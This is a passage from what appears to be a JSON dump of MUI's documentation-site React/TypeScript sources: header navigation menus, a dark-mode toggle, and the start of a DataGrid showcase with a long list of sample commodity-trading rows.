 description=\"Ready-to-use foundational React components, free forever.\"\n                      />\n                    </li>\n                    <li>\n                      <ProductSubMenu\n                        id={PRODUCT_IDS[1]}\n                        href={ROUTES.productAdvanced}\n                        icon={<IconImage name=\"product-advanced\" />}\n                        name=\"MUI X\"\n                        description=\"Advanced and powerful components for complex use cases.\"\n                      />\n                    </li>\n                    <li>\n                      <ProductSubMenu\n                        id={PRODUCT_IDS[2]}\n                        href={ROUTES.productTemplates}\n                        icon={<IconImage name=\"product-templates\" />}\n                        name=\"Templates\"\n                        description=\"Fully built templates for your application.\"\n                      />\n                    </li>\n                    <li>\n                      <ProductSubMenu\n                        id={PRODUCT_IDS[3]}\n                        href={ROUTES.productDesignKits}\n                        icon={<IconImage name=\"product-designkits\" />}\n                        name=\"Design Kits\"\n                        description=\"Material UI components in your favorite design tool.\"\n                      />\n                    </li>\n                  </ul>\n                </Paper>\n              </Fade>\n            )}\n          </Popper>\n        </li>\n        <li\n          onMouseEnter={setSubMenuOpenUndebounce('docs')}\n          onFocus={setSubMenuOpenUndebounce('docs')}\n          onMouseLeave={() => setSubMenuOpenDebounced(null)}\n          onBlur={setSubMenuOpenUndebounce(null)}\n        >\n          <ButtonBase\n            ref={docsMenuRef}\n            aria-haspopup\n            aria-expanded={subMenuOpen === 'docs' ? 'true' : 'false'}\n            onClick={handleClickMenu('docs')}\n            aria-controls={subMenuOpen === 'docs' ? 'docs-popper' : undefined}\n          >\n            Docs\n          </ButtonBase>\n          <Popper\n            id=\"docs-popper\"\n            open={subMenuOpen === 'docs'}\n            anchorEl={docsMenuRef.current}\n            transition\n            placement=\"bottom-start\"\n            style={{ zIndex: 1200, pointerEvents: subMenuOpen === 'docs' ? undefined : 'none' }}\n          >\n            {({ TransitionProps }) => (\n              <Fade {...TransitionProps} timeout={250}>\n                <Paper\n                  variant=\"outlined\"\n                  sx={(theme) => ({\n                    mt: 1,\n                    overflow: 'hidden',\n                    borderColor: 'grey.200',\n                    bgcolor: 'background.paper',\n                    boxShadow: `0px 4px 16px ${alpha(theme.palette.grey[200], 0.8)}`,\n                    ...theme.applyDarkStyles({\n                      borderColor: 'primaryDark.700',\n                      bgcolor: 'primaryDark.900',\n                      boxShadow: `0px 4px 16px ${alpha(theme.palette.common.black, 0.8)}`,\n                    }),\n                  })}\n                >\n                  <MuiProductSelector ref={productSelectorRef} />\n                </Paper>\n              </Fade>\n            )}\n          </Popper>\n        </li>\n        <li>\n          <Link href={ROUTES.pricing}>Pricing</Link>\n        </li>\n        <li>\n          <Link href={ROUTES.about}>About us</Link>\n        </li>\n        <li>\n          <Link href={ROUTES.blog}>Blog</Link>\n        </li>\n      </ul>\n    </Navigation>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/header/HeaderNavDropdown.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Collapse from '@mui/material/Collapse';\nimport { ClickAwayListener } from '@mui/base/ClickAwayListener';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport KeyboardArrowDownRounded from '@mui/icons-material/KeyboardArrowDownRounded';\nimport SvgHamburgerMenu from 'docs/src/icons/SvgHamburgerMenu';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\n\nconst Anchor = styled('a')<{ component?: React.ElementType; noLinkStyle?: boolean }>(\n  ({ theme }) => [\n    {\n      ...theme.typography.body2,\n      fontWeight: theme.typography.fontWeightBold,\n      textDecoration: 'none',\n      border: 'none',\n      width: '100%',\n      backgroundColor: 'transparent',\n      color: (theme.vars || theme).palette.text.secondary,\n      cursor: 'pointer',\n      display: 'flex',\n      alignItems: 'center',\n      padding: theme.spacing(1),\n      borderRadius: theme.spacing(1),\n      transition: theme.transitions.create('background'),\n      '&:hover, &:focus-visible': {\n        backgroundColor: (theme.vars || theme).palette.grey[100],\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: 'transparent',\n        },\n      },\n    },\n    theme.applyDarkStyles({\n      color: '#fff',\n      '&:hover, &:focus-visible': {\n        backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n        // Reset on touch devices, it doesn't add specificity\n        '@media (hover: none)': {\n          backgroundColor: 'transparent',\n        },\n      },\n    }),\n  ],\n);\n\nconst UList = styled('ul')({\n  listStyleType: 'none',\n  padding: 0,\n  margin: 0,\n});\n\nconst PRODUCTS = [\n  {\n    name: 'MUI Core',\n    description: 'Ready-to-use foundational React components, free forever.',\n    href: ROUTES.productCore,\n  },\n  {\n    name: 'MUI X',\n    description: 'Advanced and powerful components for complex use cases.',\n    href: ROUTES.productAdvanced,\n  },\n  {\n    name: 'Templates',\n    description: 'Fully built templates for your application.',\n    href: ROUTES.productTemplates,\n  },\n  {\n    name: 'Design Kits',\n    description: 'Material UI components in your favorite design tool.',\n    href: ROUTES.productDesignKits,\n  },\n];\n\nconst DOCS = [\n  {\n    name: 'Material UI',\n    description: \"Component library that implements Google's Material Design.\",\n    href: ROUTES.materialDocs,\n  },\n  {\n    name: 'Joy UI',\n    description: \"Component library that implements MUI's own in-house design principles.\",\n    href: ROUTES.joyDocs,\n  },\n  {\n    name: 'Base UI',\n    description: 'Unstyled components for building accessible UIs.',\n    href: ROUTES.baseDocs,\n  },\n  {\n    name: 'MUI System',\n    description: 'CSS utilities for rapidly laying out custom designs.',\n    href: ROUTES.systemDocs,\n  },\n  {\n    name: 'MUI X',\n    description: 'Advanced components for complex use cases.',\n    href: ROUTES.xIntro,\n  },\n];\n\nexport default function HeaderNavDropdown() {\n  const [open, setOpen] = React.useState(false);\n  const [productsOpen, setProductsOpen] = React.useState(true);\n  const [docsOpen, setDocsOpen] = React.useState(false);\n  const hambugerRef = React.useRef<HTMLButtonElement>(null);\n  return (\n    <React.Fragment>\n      <IconButton\n        color=\"primary\"\n        aria-label=\"Menu\"\n        ref={hambugerRef}\n        disableRipple\n        onClick={() => setOpen((value) => !value)}\n        sx={{\n          position: 'relative',\n          '& rect': {\n            transformOrigin: 'center',\n            transition: '0.2s',\n          },\n          ...(open && {\n            '& rect:first-of-type': {\n              transform: 'translate(1.5px, 1.6px) rotateZ(-45deg)',\n            },\n            '& rect:last-of-type': {\n              transform: 'translate(1.5px, -1.2px) rotateZ(45deg)',\n            },\n          }),\n        }}\n      >\n        <SvgHamburgerMenu />\n      </IconButton>\n      <ClickAwayListener\n        onClickAway={(event) => {\n          if (!hambugerRef.current!.contains(event.target as Node)) {\n            setOpen(false);\n          }\n        }}\n      >\n        <Collapse\n          in={open}\n          sx={(theme) => ({\n            position: 'fixed',\n            top: 56,\n            left: 0,\n            right: 0,\n            boxShadow: `0px 16px 20px rgba(170, 180, 190, 0.3)`,\n            ...theme.applyDarkStyles({\n              boxShadow: '0px 16px 20px rgba(0, 0, 0, 0.8)',\n            }),\n          })}\n        >\n          <Box\n            sx={{\n              p: 2,\n              bgcolor: 'background.default',\n              maxHeight: 'calc(100vh - 56px)',\n              overflow: 'auto',\n            }}\n          >\n            <UList\n              sx={(theme) => ({\n                '& ul': {\n                  borderLeft: '1px solid',\n                  borderColor: 'grey.100',\n                  ...theme.applyDarkStyles({\n                    borderColor: 'primaryDark.700',\n                  }),\n                  pl: 1,\n                  pb: 1,\n                  ml: 1,\n                },\n              })}\n            >\n              <li>\n                <Anchor\n                  as=\"button\"\n                  onClick={() => setProductsOpen((bool) => !bool)}\n                  sx={{ justifyContent: 'space-between' }}\n                >\n                  Products\n                  <KeyboardArrowDownRounded\n                    color=\"primary\"\n                    sx={{\n                      transition: '0.3s',\n                      transform: productsOpen ? 'rotate(-180deg)' : 'rotate(0)',\n                    }}\n                  />\n                </Anchor>\n                <Collapse in={productsOpen}>\n                  <UList>\n                    {PRODUCTS.map((item) => (\n                      <li key={item.name}>\n                        <Anchor\n                          href={item.href}\n                          as={Link}\n                          noLinkStyle\n                          sx={{ flexDirection: 'column', alignItems: 'initial' }}\n                        >\n                          <Box\n                            sx={{\n                              display: 'flex',\n                              flexDirection: 'row',\n                              justifyContent: 'space-between',\n                            }}\n                          >\n                            {item.name}\n                          </Box>\n                          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                            {item.description}\n                          </Typography>\n                        </Anchor>\n                      </li>\n                    ))}\n                  </UList>\n                </Collapse>\n              </li>\n              <li>\n                <Anchor\n                  as=\"button\"\n                  onClick={() => setDocsOpen((bool) => !bool)}\n                  sx={{ justifyContent: 'space-between' }}\n                >\n                  Docs\n                  <KeyboardArrowDownRounded\n                    color=\"primary\"\n                    sx={{\n                      transition: '0.3s',\n                      transform: docsOpen ? 'rotate(-180deg)' : 'rotate(0)',\n                    }}\n                  />\n                </Anchor>\n                <Collapse in={docsOpen}>\n                  <UList>\n                    {DOCS.map((item) => (\n                      <li key={item.name}>\n                        <Anchor\n                          href={item.href}\n                          as={Link}\n                          noLinkStyle\n                          sx={{ flexDirection: 'column', alignItems: 'initial' }}\n                        >\n                          <Box\n                            sx={{\n                              display: 'flex',\n                              flexDirection: 'row',\n                              justifyContent: 'space-between',\n                            }}\n                          >\n                            {item.name}\n                          </Box>\n                          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                            {item.description}\n                          </Typography>\n                        </Anchor>\n                      </li>\n                    ))}\n                  </UList>\n                </Collapse>\n              </li>\n              <li>\n                <Anchor href={ROUTES.pricing} as={Link} noLinkStyle>\n                  Pricing\n                </Anchor>\n              </li>\n              <li>\n                <Anchor href={ROUTES.about} as={Link} noLinkStyle>\n                  About us\n                </Anchor>\n              </li>\n              <li>\n                <Anchor href={ROUTES.blog} as={Link} noLinkStyle>\n                  Blog\n                </Anchor>\n              </li>\n            </UList>\n          </Box>\n        </Collapse>\n      </ClickAwayListener>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/header/ThemeModeToggle.tsx",
    "content": "import { useColorScheme, useTheme } from '@mui/material/styles';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport DarkModeOutlined from '@mui/icons-material/DarkModeOutlined';\nimport LightModeOutlined from '@mui/icons-material/LightModeOutlined';\nimport { useColorSchemeShim } from '@mui/docs/ThemeContext';\n\nfunction CssVarsModeToggle(props: { onChange: (newMode: string) => void }) {\n  const { mode, systemMode, setMode } = useColorScheme();\n  const calculatedMode = mode === 'system' ? systemMode : mode;\n\n  return (\n    <Tooltip title={calculatedMode === 'dark' ? 'Turn on the light' : 'Turn off the light'}>\n      <IconButton\n        color=\"primary\"\n        size=\"small\"\n        disableTouchRipple\n        disabled={!calculatedMode}\n        onClick={() => {\n          const newMode = calculatedMode === 'dark' ? 'light' : 'dark';\n          props.onChange(newMode);\n          setMode(newMode);\n        }}\n      >\n        {!calculatedMode\n          ? null\n          : {\n              light: <DarkModeOutlined fontSize=\"small\" />,\n              dark: <LightModeOutlined fontSize=\"small\" />,\n            }[calculatedMode]}\n      </IconButton>\n    </Tooltip>\n  );\n}\n\nexport default function ThemeModeToggle() {\n  // TODO replace with useColorScheme once all pages support css vars\n  const { mode, systemMode, setMode } = useColorSchemeShim();\n  const calculatedMode = mode === 'system' ? systemMode : mode;\n\n  const theme = useTheme();\n\n  // Server-side hydration\n  if (mode === null) {\n    return <IconButton color=\"primary\" size=\"small\" disableTouchRipple />;\n  }\n\n  // TODO remove this code branch, all pages should be migrated to use CssVarsProvider\n  if (!theme.vars) {\n    return (\n      <Tooltip title={calculatedMode === 'dark' ? 'Turn on the light' : 'Turn off the light'}>\n        <IconButton\n          color=\"primary\"\n          size=\"small\"\n          disableTouchRipple\n          onClick={() => {\n            setMode(calculatedMode === 'dark' ? 'light' : 'dark');\n          }}\n        >\n          {calculatedMode === 'dark' ? (\n            <LightModeOutlined fontSize=\"small\" />\n          ) : (\n            <DarkModeOutlined fontSize=\"small\" />\n          )}\n        </IconButton>\n      </Tooltip>\n    );\n  }\n\n  return <CssVarsModeToggle onChange={setMode} />;\n}\n"
  },
  {
    "path": "docs/src/components/home/AdvancedShowcase.tsx",
    "content": "import * as React from 'react';\nimport { DataGrid, GridCellParams, GridRenderEditCellParams, GridColDef } from '@mui/x-data-grid';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport ShowcaseContainer, { ShowcaseCodeWrapper } from 'docs/src/components/home/ShowcaseContainer';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport XGridGlobalStyles from 'docs/src/components/home/XGridGlobalStyles';\nimport MoreInfoBox from 'docs/src/components/action/MoreInfoBox';\nimport ProgressBar from 'docs/src/components/x-grid/ProgressBar';\nimport EditProgress from 'docs/src/components/x-grid/EditProgress';\nimport Status from 'docs/src/components/x-grid/Status';\nimport EditStatus from 'docs/src/components/x-grid/EditStatus';\nimport ROUTES from 'docs/src/route';\n\nconst columns: Array<GridColDef> = [\n  {\n    field: 'desk',\n    headerName: 'desk',\n    width: 72,\n    sortable: false,\n    editable: true,\n  },\n  { field: 'commodity', headerName: 'Commodity', width: 132, editable: true },\n  { field: 'traderName', headerName: 'Trader Name', width: 143, editable: true },\n  {\n    field: 'filledQuantity',\n    headerName: 'Filled',\n    width: 85,\n    sortable: false,\n    editable: true,\n    renderCell: (params: GridCellParams) => {\n      return <ProgressBar value={Number(params.value)!} />;\n    },\n    renderEditCell: (params: GridRenderEditCellParams) => {\n      return <EditProgress {...params} />;\n    },\n  },\n  {\n    field: 'status',\n    headerName: 'Status',\n    width: 78,\n    sortable: false,\n    editable: true,\n    renderCell: (params: GridCellParams) => {\n      return <Status status={(params.value || '').toString()} />;\n    },\n    renderEditCell: (params: GridRenderEditCellParams) => {\n      return <EditStatus {...params} />;\n    },\n  },\n];\n\nconst code = `<DataGrid\n  density=\"compact\"\n  hideFooter\n  rows={[\n    {\n      desk: 'D-985',\n      commodity: 'Adzuki bean',\n      traderName: 'Roy Green',\n      quantity: '83,996',\n      filledQuantity: 1,\n      status: 'PartiallyFilled',\n    },\n  ]}\n  columns={[ // column definition example\n    {\n      field: 'filledQuantity',\n      headerName: 'Filled',\n      editable: true,\n      renderCell: (params) => <ProgressBar value={Number(params.value)} />,\n      renderEditCell: (params) => <EditProgress {...params} />,\n    },\n  ]}\n/>`;\n\nconst rows = [\n  {\n    id: 'c7c5977f-efc6-58a3-a20d-669c636da015',\n    desk: 'D-4716',\n    commodity: 'Oats',\n    traderName: 'Gabriel Cummings',\n    filledQuantity: 0.0479549532825939,\n    status: 'Open',\n  },\n  {\n    id: '4636d35f-3ec4-5e7b-90e0-30120d5d83d2',\n    desk: 'D-4580',\n    commodity: 'Milk',\n    traderName: 'Martha Waters',\n    filledQuantity: 0.2534935430195403,\n    status: 'Open',\n  },\n  {\n    id: 'dd07fa31-e355-5b4c-ad8d-8ae97f56a716',\n    desk: 'D-6196',\n    commodity: 'Wheat',\n    traderName: 'Jimmy Malone',\n    filledQuantity: 0.6676395476103612,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'b85fda59-5ca0-578c-830b-4fdb47df1099',\n    desk: 'D-996',\n    commodity: 'Wheat',\n    traderName: 'Lenora Olson',\n    filledQuantity: 0.7537063736024592,\n    status: 'Filled',\n  },\n  {\n    id: '363b4295-c82d-5f67-8ef4-bb34bf37d059',\n    desk: 'D-6860',\n    commodity: 'Rough Rice',\n    traderName: 'Carolyn Massey',\n    filledQuantity: 0.7031953975185417,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'bae95560-8148-5026-a436-807f24600557',\n    desk: 'D-4685',\n    commodity: 'Soybean Oil',\n    traderName: 'Agnes Silva',\n    filledQuantity: 0.8838178308032056,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '38a84161-6f0b-5ca5-a5b1-d613532e4fa6',\n    desk: 'D-1123',\n    commodity: 'Coffee C',\n    traderName: 'Zachary Clark',\n    filledQuantity: 0.7112560229799851,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'f7d8861d-3561-5c4c-ab02-631899d93310',\n    desk: 'D-7941',\n    commodity: 'Robusta coffee',\n    traderName: 'Jeff Jimenez',\n    filledQuantity: 0.6904698699230156,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'd2ca5413-edf7-5292-8b30-69fb1b49d1ee',\n    desk: 'D-1361',\n    commodity: 'Adzuki bean',\n    traderName: 'Wesley Marshall',\n    filledQuantity: 0.36190808841874156,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '39764aea-bb06-5857-a0a3-ff1dc42e4f9b',\n    desk: 'D-9230',\n    commodity: 'Rough Rice',\n    traderName: 'Maud Simmons',\n    filledQuantity: 0.7662438958220293,\n    status: 'Filled',\n  },\n  {\n    id: 'b0a6e433-4227-5d75-a2ab-80e40a2eec55',\n    desk: 'D-7688',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Lelia Torres',\n    filledQuantity: 0.28704903185867087,\n    status: 'Filled',\n  },\n  {\n    id: 'a1351174-8a1d-5638-810e-2b671030b2e9',\n    desk: 'D-1790',\n    commodity: 'Coffee C',\n    traderName: 'Edna Bryan',\n    filledQuantity: 0.3989893401202464,\n    status: 'Filled',\n  },\n  {\n    id: 'c4c22dd0-948d-531d-bde8-9040633e9bd4',\n    desk: 'D-4897',\n    commodity: 'Cotton No.2',\n    traderName: 'Carolyn Nichols',\n    filledQuantity: 0.10424570183227057,\n    status: 'Open',\n  },\n  {\n    id: '5210de80-8dcb-5d80-847c-6178d6c0260b',\n    desk: 'D-65',\n    commodity: 'Robusta coffee',\n    traderName: 'Ricardo Wright',\n    filledQuantity: 0.8049823113207547,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'f86fa451-471e-55da-b441-5e20915a2122',\n    desk: 'D-8769',\n    commodity: 'Wheat',\n    traderName: 'Ruby Nelson',\n    filledQuantity: 0.11215377033021193,\n    status: 'Rejected',\n  },\n  {\n    id: '35353401-e788-51bd-a716-b861f2820be4',\n    desk: 'D-525',\n    commodity: 'Wheat',\n    traderName: 'Troy Wong',\n    filledQuantity: 0.4741861465653234,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '98872efb-af7f-5345-bae6-03dec13cd3fa',\n    desk: 'D-518',\n    commodity: 'Sugar No.11',\n    traderName: 'Louis Crawford',\n    filledQuantity: 0.524862693663415,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'f0378708-fd92-51d5-8121-f01ef1045ff1',\n    desk: 'D-5497',\n    commodity: 'Soybean Oil',\n    traderName: 'Evelyn Morrison',\n    filledQuantity: 0.5463434089508225,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'f52fe7ae-9418-50c1-9407-120ff96781c6',\n    desk: 'D-2293',\n    commodity: 'Soybean Oil',\n    traderName: 'Melvin Lawson',\n    filledQuantity: 0.2514770194052941,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '742e140a-6344-57de-bcdd-33bb4989a5dd',\n    desk: 'D-663',\n    commodity: 'Robusta coffee',\n    traderName: 'Glen Gilbert',\n    filledQuantity: 0.314012076348458,\n    status: 'Filled',\n  },\n  {\n    id: '1e36b0d9-1b51-5234-8ff6-d2a4c28b32ea',\n    desk: 'D-2531',\n    commodity: 'Rough Rice',\n    traderName: 'Francisco Norton',\n    filledQuantity: 0.1836575339319753,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '6ac4d048-c24f-5322-bf67-ec6f8bea3b93',\n    desk: 'D-3787',\n    commodity: 'Milk',\n    traderName: 'Thomas Salazar',\n    filledQuantity: 0.37326607818411095,\n    status: 'Rejected',\n  },\n  {\n    id: 'c81331d3-8de6-5df5-858e-5d5ed119c1fd',\n    desk: 'D-8858',\n    commodity: 'Cotton No.2',\n    traderName: 'Lucille Wise',\n    filledQuantity: 0.869984727152646,\n    status: 'Rejected',\n  },\n  {\n    id: 'dc26c4c7-30ed-588d-bcb2-44cd25ed2943',\n    desk: 'D-579',\n    commodity: 'Sugar No.14',\n    traderName: 'Lena Garza',\n    filledQuantity: 0.9933732864916994,\n    status: 'Filled',\n  },\n  {\n    id: '66bc0b77-e9f7-59f2-9315-c16232f6f5f8',\n    desk: 'D-7370',\n    commodity: 'Sugar No.14',\n    traderName: 'Rodney Douglas',\n    filledQuantity: 0.049633779588669,\n    status: 'Filled',\n  },\n  {\n    id: '6f04f0b6-18fa-56fd-aa9a-de6508854152',\n    desk: 'D-1193',\n    commodity: 'Sugar No.11',\n    traderName: 'Eliza Erickson',\n    filledQuantity: 0.9258048289738431,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '837da291-6130-5c81-806a-67589dbf3f50',\n    desk: 'D-5989',\n    commodity: 'Rough Rice',\n    traderName: 'Marie Gregory',\n    filledQuantity: 0.45995529450930966,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '8b0c9f9e-c004-50ef-9c7f-d1c022ca976b',\n    desk: 'D-117',\n    commodity: 'Cocoa',\n    traderName: 'Jeanette Hicks',\n    filledQuantity: 0.4722404161047968,\n    status: 'Filled',\n  },\n  {\n    id: '46fcb561-3de8-5485-b9cd-5da9f9f01628',\n    desk: 'D-4659',\n    commodity: 'Oats',\n    traderName: 'Eugene Moran',\n    filledQuantity: 0.28724322458139134,\n    status: 'Open',\n  },\n  {\n    id: 'ad75196d-724f-52d5-a353-6a5797e08310',\n    desk: 'D-6831',\n    commodity: 'Wheat',\n    traderName: 'Norman Hodges',\n    filledQuantity: 0.5609013580062677,\n    status: 'Rejected',\n  },\n  {\n    id: '5ae02b20-964e-5760-9a4d-7f6f299df30a',\n    desk: 'D-8135',\n    commodity: 'Rough Rice',\n    traderName: 'Josephine Lamb',\n    filledQuantity: 0.689861075157477,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'c9c06672-638e-585a-996a-32f8682d2f54',\n    desk: 'D-3385',\n    commodity: 'Wheat',\n    traderName: 'Nina Christensen',\n    filledQuantity: 0.06040954363014717,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '5a1946ea-589f-55fa-9117-64caad3a37d9',\n    desk: 'D-9036',\n    commodity: 'Cocoa',\n    traderName: 'Stanley Munoz',\n    filledQuantity: 0.1275418120563109,\n    status: 'Rejected',\n  },\n  {\n    id: 'ab237f11-ac6a-50f1-b9a6-a9c9f9f4e24d',\n    desk: 'D-7682',\n    commodity: 'Soybean Oil',\n    traderName: 'Oscar Lambert',\n    filledQuantity: 0.9839746183854833,\n    status: 'Filled',\n  },\n  {\n    id: '5c51439b-1591-522e-96cf-076bdae40655',\n    desk: 'D-4502',\n    commodity: 'Cocoa',\n    traderName: 'Kenneth Miles',\n    filledQuantity: 0.25830009205277693,\n    status: 'Open',\n  },\n  {\n    id: '64bfe805-6632-59fe-9835-18e2c7ef7df3',\n    desk: 'D-2325',\n    commodity: 'Soybean Meal',\n    traderName: 'Ray Greene',\n    filledQuantity: 0.0014699524427150886,\n    status: 'Rejected',\n  },\n  {\n    id: 'a8bcf050-34ad-52ec-a9f1-845ccfa943bb',\n    desk: 'D-2013',\n    commodity: 'Soybeans',\n    traderName: 'Georgia McDaniel',\n    filledQuantity: 0.7551895272190895,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '74c6c7eb-591d-5ce9-9a8b-3880d95ed5fb',\n    desk: 'D-7267',\n    commodity: 'Corn',\n    traderName: 'Jordan Anderson',\n    filledQuantity: 0.801270122581598,\n    status: 'Rejected',\n  },\n  {\n    id: 'c2410927-00b9-5fea-b2f7-04a45c1f1586',\n    desk: 'D-5965',\n    commodity: 'Sugar No.11',\n    traderName: 'Keith Harvey',\n    filledQuantity: 0.9677904122626859,\n    status: 'Filled',\n  },\n  {\n    id: '42f6796a-429a-5be4-9ea3-b03dd850db06',\n    desk: 'D-9929',\n    commodity: 'Sugar No.11',\n    traderName: 'Millie Burke',\n    filledQuantity: 0.8673800259403373,\n    status: 'Filled',\n  },\n  {\n    id: '08cbdea1-a9e2-55b4-ab89-95b92a8430f9',\n    desk: 'D-786',\n    commodity: 'Sugar No.11',\n    traderName: 'Wesley Davis',\n    filledQuantity: 0.2330411076067782,\n    status: 'Open',\n  },\n  {\n    id: '156d7091-eea4-5df0-81d3-1634871595f8',\n    desk: 'D-4467',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Carolyn Robertson',\n    filledQuantity: 0.0968306776396428,\n    status: 'Filled',\n  },\n  {\n    id: '3cb30764-f296-5ba0-a788-2e6006b1b2e2',\n    desk: 'D-7832',\n    commodity: 'Sugar No.14',\n    traderName: 'Adele Tucker',\n    filledQuantity: 0.9380997258396162,\n    status: 'Rejected',\n  },\n  {\n    id: 'a266c8d7-83ac-53ce-8916-da103c501901',\n    desk: 'D-5677',\n    commodity: 'Wheat',\n    traderName: 'Emma Rodriguez',\n    filledQuantity: 0.9924235750154171,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '38727ca2-b64c-5de6-94df-20827d4ed4ce',\n    desk: 'D-6863',\n    commodity: 'Adzuki bean',\n    traderName: 'Iva Rose',\n    filledQuantity: 0.6088916817217814,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'e60dee5b-e105-5261-9e21-72f1ab2bb4a4',\n    desk: 'D-2036',\n    commodity: 'Coffee C',\n    traderName: 'Hattie Castro',\n    filledQuantity: 0.8496925185809324,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '79aefe4e-1bf5-553d-9a03-1901d8378567',\n    desk: 'D-2946',\n    commodity: 'Adzuki bean',\n    traderName: 'Mario Harris',\n    filledQuantity: 0.2892613962645957,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '5197d9a8-fddd-5961-aafc-ac9324f7bab0',\n    desk: 'D-7605',\n    commodity: 'Sugar No.14',\n    traderName: 'Juan Reyes',\n    filledQuantity: 0.1377354863514033,\n    status: 'Open',\n  },\n  {\n    id: '3145255d-b4ff-595a-bdfa-f78c781991cc',\n    desk: 'D-5400',\n    commodity: 'Rapeseed',\n    traderName: 'Adele Gray',\n    filledQuantity: 0.13151126174851566,\n    status: 'Rejected',\n  },\n  {\n    id: 'b4028076-e520-519f-ab47-aca99595d668',\n    desk: 'D-5526',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Estelle May',\n    filledQuantity: 0.025332033435087664,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'eeb80b26-46a0-5ce2-8aec-b26aeb05ad05',\n    desk: 'D-9779',\n    commodity: 'Cocoa',\n    traderName: 'Cordelia Barnett',\n    filledQuantity: 0.3473095737246681,\n    status: 'Open',\n  },\n  {\n    id: 'ae3d7416-c90e-56c2-826c-8de629a90efa',\n    desk: 'D-4769',\n    commodity: 'Coffee C',\n    traderName: 'Caroline Garza',\n    filledQuantity: 0.6020121274752663,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'bd17e936-515f-5756-823b-25108c95140d',\n    desk: 'D-2882',\n    commodity: 'Soybeans',\n    traderName: 'Rosetta Perkins',\n    filledQuantity: 0.1712309429700734,\n    status: 'Filled',\n  },\n  {\n    id: 'bc069177-a127-585e-ab85-04608552c83a',\n    desk: 'D-9733',\n    commodity: 'Soybean Oil',\n    traderName: 'Jason Cain',\n    filledQuantity: 0.7983991064780342,\n    status: 'Rejected',\n  },\n  {\n    id: '11a484c3-9163-549b-b04a-eb73af890281',\n    desk: 'D-5408',\n    commodity: 'Coffee C',\n    traderName: 'Steven Ortega',\n    filledQuantity: 0.6365814973893513,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '2f034401-c06f-5e11-ba70-ea067750ca4c',\n    desk: 'D-8614',\n    commodity: 'Oats',\n    traderName: 'Allie Brewer',\n    filledQuantity: 0.7054064048517121,\n    status: 'Filled',\n  },\n  {\n    id: 'f62c6b11-7ca2-5b13-9a93-863af76f9ab7',\n    desk: 'D-1461',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Johanna Harvey',\n    filledQuantity: 0.11258119476094133,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'dc80dd21-15cd-5d33-b84b-e75e401407ef',\n    desk: 'D-6751',\n    commodity: 'Milk',\n    traderName: 'Willie Castro',\n    filledQuantity: 0.385713952348727,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '81ea4524-9723-5736-9abd-103ca0497c5f',\n    desk: 'D-9687',\n    commodity: 'Soybean Meal',\n    traderName: 'Mable Wilkins',\n    filledQuantity: 0.6218296665060757,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '99539ac3-c87b-55f6-91d4-c442022107b8',\n    desk: 'D-8260',\n    commodity: 'Soybeans',\n    traderName: 'Lora Chandler',\n    filledQuantity: 0.3371109755034435,\n    status: 'Open',\n  },\n  {\n    id: '0d2f8123-129c-5c0b-99fc-aa6856667ba1',\n    desk: 'D-8306',\n    commodity: 'Rough Rice',\n    traderName: 'Jeffery Reynolds',\n    filledQuantity: 0.17820411392405064,\n    status: 'Open',\n  },\n  {\n    id: '6cad0de2-1c11-59b2-aa02-037fa2bb1326',\n    desk: 'D-6616',\n    commodity: 'Robusta coffee',\n    traderName: 'Sean Daniels',\n    filledQuantity: 0.8600548380114005,\n    status: 'Filled',\n  },\n  {\n    id: '357c2bf3-9580-52f7-8205-28376bc23a7a',\n    desk: 'D-9068',\n    commodity: 'Milk',\n    traderName: 'Tom Cruz',\n    filledQuantity: 0.24869715688444435,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '3b21e23d-035c-5292-b601-331759a7ba2a',\n    desk: 'D-928',\n    commodity: 'Cotton No.2',\n    traderName: 'Sallie Reed',\n    filledQuantity: 0.3883119527591122,\n    status: 'Rejected',\n  },\n  {\n    id: 'eee5f670-0a9c-5682-b356-f37eb1624650',\n    desk: 